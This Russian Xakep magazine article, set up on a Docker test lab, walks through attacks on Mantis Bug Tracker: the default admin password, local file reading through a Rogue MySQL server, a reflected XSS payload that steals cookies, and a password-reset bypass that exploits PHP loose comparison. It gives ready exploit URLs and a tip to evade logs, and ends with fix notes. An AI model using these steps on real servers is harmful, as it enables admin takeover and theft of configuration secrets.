Хакер - Охота на «Богомола». Читаем локальные файлы и получаем права админа в Mantis Bug Tracker
nopaywall

Содержание статьи
Конечно, до количества инсталляций Jira «Богомолу» далеко, но в рамках исследования скоупа мне нередко попадался этот продукт.
Получение привилегий администратора работает на версиях приложения 2.3.0 и ниже, а также ниже 1.3.0. Несмотря на то что обновления выходят с завидной регулярностью, на просторах интернета все еще огромное количество серверов, на которых установлены уязвимые ветки дистрибутива. Этому способствуют как отсутствие механизма автоматического обновления до актуальной версии (или хотя бы информация о ее наличии), так и лень администраторов — куда уж без нее.
Чтение локальных файлов, кстати, работает на всех версиях вплоть до последней (2.5.1). Ведь это не баг, это фича.
Тестовый стенд
Mantis написан на PHP и работает со всеми основными СУБД (MySQL, Microsoft SQL, PostgreSQL и так далее), так что развернуть тестовый стенд будет несложно. На всякий случай все же пробегусь по основным пунктам.
Чтобы не заморачиваться с громоздкими виртуалками, используем Docker. На коленке я накидал докер-файл для быстрого билда, который ты можешь скачать здесь. В консоли переходим в папку со скачанным файлом и выполняем
docker build -t mantis .
Используя переменные MYSQL_USER, MYSQL_PASS и HOST_DOMAIN, можно изменить имя пользователя MySQL, его пароль и имя виртуального хоста, по которому будет доступен наш стенд. Теперь запускаем сам контейнер:
docker run -dp 80:80 --name=mantisvh --hostname=mantisvh mantis
Далее в хост-файле можно указать соответствие IP-адреса докер-машины с виртуальным хостом, который можно было менять при билде. По умолчанию у меня прописано mantis.visualhack, поэтому файл принимает такой вид:
192.168.99.100 mantis.visualhack
Теперь самое время перейти по адресу http://mantis.visualhack и проверить работоспособность стенда.
Стенд работает. Приступаем к установкеЕсли все сделано правильно, то мы увидим страницу установки багтрекера. Пройдем этот процесс до конца — логин и пароль базы данных можешь найти в докер-файле.
Дефолтные пароли
Итак, мы разобрались с мелочами, переходим к самому интересному — разбору уязвимости. После успешной установки ты попадаешь на страницу авторизации.
Форма авторизации сразу после установкиОбрати внимание на надпись внизу формы. После установки пользователю administratorпо умолчанию будет назначен пароль root.
419: $g_upgrade[51] = array( 'InsertData', array( db_get_table( 'user' ), "( 420: username, realname, email, password, 421: date_created, last_visit, enabled, protected, access_level, 422: login_count, lost_password_request_count, failed_login_count, 423: cookie_string 424: ) 425: VALUES ( 426: 'administrator', '', 'root@localhost', '63a9f0ea7bb98050796b649e85481845', 427: $t_timestamp, $t_timestamp, '1', '0', 90,
Мне не совсем понятна логика такого поведения. Почему бы не дать пользователю возможность самому указывать пароль или генерировать его автоматически и отправлять по почте? Но разработчики решили по-другому, и если ты встретишь эту надпись, то считай, что админский доступ у тебя в кармане.
Чтение файлов
После того как установка успешно завершена, установочные файлы остаются в системе и багтрекер не выдает никаких предупреждений о том, что их нужно удалить или закрыть к ним доступ. Исходнички, настало ваше время.
86: # install_state 87: # 0 = no checks done 88: # 1 = server ok, get database information 89: # 2 = check the database information 90: # 3 = install the database ... 95: $t_install_state = gpc_get_int( 'install', 0 );
Переменная $t_install_state отвечает за текущий шаг установки. Она берется из запроса к серверу из параметра install. Поэтому мы можем свободно переходить на различные этапы установки и выполнять их.
124: function gpc_get_int( $p_var_name, $p_default = null ) { 125: # Don't pass along a default unless one was given to us ... 128: $t_result = call_user_func_array( 'gpc_get', $t_args );
58: function gpc_get( $p_var_name, $p_default = null ) { 59: if( isset( $_POST[$p_var_name] ) ) { 60: $t_result = $_POST[$p_var_name]; 61: } else if( isset( $_GET[$p_var_name] ) ) { 62: $t_result = $_GET[$p_var_name]; 63: } else if( func_num_args() > 1 ) { 64: # check for a default passed in (allowing null) 65: $t_result = $p_default; 66: } else { 67: error_parameters( $p_var_name ); 68: trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR ); 69: $t_result = null; 70: } 71: 72: return $t_result; 73: }
Сейчас нас интересуют шаги 1, 2 и 3. Скрипт проверяет корректность введенных логина и пароля, выполняя тестовое подключение к базе данных.
254: $g_db = ADONewConnection( $f_db_type ); 255: $t_result = @$g_db->Connect( $f_hostname, $f_db_username, $f_db_password, $f_database_name );
Обрати внимание на переменную $f_hostname. Она также берется из HTTP-запроса, точнее — из параметра hostname. Это позволяет заставить скрипт подключиться к нашему серверу.
200: $f_hostname = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );
Это значит, что пора расчехлять Rogue MySQL Server. Прошло уже больше года с тех пор, как я писал об этой технике эксплуатации, и почти четыре года после ее первого появления в паблике. Однако воз и ныне там. Похоже, так никто и не собирается это фиксить.
Итак, нам нужно прочитать что-нибудь интересное с сервера. Начнем с каноничного /etc/passwd.
- Запускаем Rogue MySQL
php roguemysql.php. - Указываем путь до файла, который хотим прочитать. По умолчанию мы и читаем
/etc/passwd. - Дело за «Мантисом». Для отправки запроса можно использовать и GET, и POST, я предпочитаю POST, так как он меньше следит в логах.
Читалка файлов через MySQL в действииPasswd — это, конечно, хорошо, но нам нужно что-нибудь поинтереснее. Как насчет конфига того же багтрекера? Он находится в директории MANTIS_ROOT/config/config_inc.php.
В нашем случае мы можем воспользоваться трюком с /proc/self/cwd для того, чтобы попасть в директорию с файлом install.php. Это возможно благодаря тому, что скрипт выполняется в контексте веб-сервера. Поэтому путь /proc/self/cwd/../config/config_inc.php приведет нас прямиком к конфигу.
Читалка конфига Mantis через MySQLК сожалению, этот трюк прокатывает далеко не всегда. Зато неподалеку завалялась парочка отраженных XSS.
Переменные $f_db_username, $f_database_name и тому подобные выводятся на страницу, получаются из пользовательских данных и никак не фильтруются. Поэтому переход по линку http://mantisnew.visualhack/admin/install.php?install=3&hostname=127.0.0.1&db_username="><script>alert(document.cookie);</script> с удовольствием покажет наши куки.
XSS в скрипте установкиСбрасываем пароль администратора
Последняя проблема, несмотря на свою простоту, поможет нам захватить учетную запись администратора. Заключается она в некорректном сравнении двух переменных. Посмотрим на уязвимый участок кода.
72: if( $f_confirm_hash != $t_token_confirm_hash ) { 73: trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR ); 74: }
В строке 72 производится простое сравнение переданного токена для восстановления пароля с тем, что находится в базе данных, и если они не совпадают, то функция trigger_errorвозвращает ошибку и выполнение скрипта прекращается. Переменная $t_token_confirm_hash получается с помощью функции token_get_value — обертки для функции token_get.
70: $t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION, $f_user_id );
101: function token_get_value( $p_type, $p_user_id = null ) { 102: $t_token = token_get( $p_type, $p_user_id ); 103: 104: if( null !== $t_token ) { 105: return $t_token['value']; 106: } 107: 108: return null; 109: }
Она делает запрос к таблице _tokens_table в поисках переданного в параметре id токена восстановления пароля для пользователя.
77: function token_get( $p_type, $p_user_id = null ) { ... 80: $c_type = (int)$p_type; ... 84: $t_query = 'SELECT * FROM {tokens} WHERE type=' . db_param() . ' AND owner=' . db_param(); 85: $t_result = db_query( $t_query, array( $c_type, $c_user_id ) ); 86: 87: $t_row = db_fetch_array( $t_result ); 88: if( $t_row ) { 89: return $t_row; 90: } 91: 92: return null;
Если такого токена в таблице нет, то функция возвращает NULL. Поэтому, если передать пустую строку в качестве confirm_hash, можно обойти проверку и продолжить выполнение скрипта. Причина такого поведения в особенностях приведения типов в PHP. Интерпретатор PHP считает равными пустую строку (») и сущность NULL.
root@mantisvh:/var/www/html# php -r "var_dump('' == NULL);" bool(true)
На странице официальной документации можно найти множество примеров неочевидного поведения PHP при сравнении переменных различного типа. Рекомендую ознакомиться, такие баги встречаются часто, и проглядеть их очень легко.
Итак, при переходе по ссылке http://mantis.visualhack/verify.php?id=1&confirm_hash= можно установить новый пароль для пользователя с id=1 (если он уже не находится в процессе сброса пароля). В нашем случае это administrator.
Смена пароля администраторуЧаще всего аккаунт администратора имеет id 1 или 2. В любом случае не составит никаких проблем его сбрутить.
После установки нового пароля можно смело логиниться в качестве админа. Если теперь перейти на страницу http://mantis.visualhack/manage_overview_page.php, можно найти путь к корню сайта. Раскрытие путей будет очень кстати в помощь предыдущей уязвимости: теперь можно легко читать конфигурационные файлы.
Раскрытие путей в интерфейсе администратораВыводы
Вот такие, казалось бы, простые логические уязвимости встречаются в серьезных продуктах. Баг со сменой пароля уже исправили, выпустив новые версии Mantis: 2.3.1 и 1.3.1 теперь не эксплуатируются.
Буквально сразу после того, как я закончил писать статью, мне на почту прилетело письмо, сообщающее, что в Oracle закрыли-таки баг с чтением файлов через MySQL и исправление войдет в следующий же релиз. Однако если ты администратор багтрекера, то можешь уже сейчас закрыть доступ извне к папке admin либо изменить ее имя на какое-нибудь менее брутабельное.
Но даже после этого фикса в недрах Mantis наверняка можно будет найти еще много всего интересного. Так что дерзай!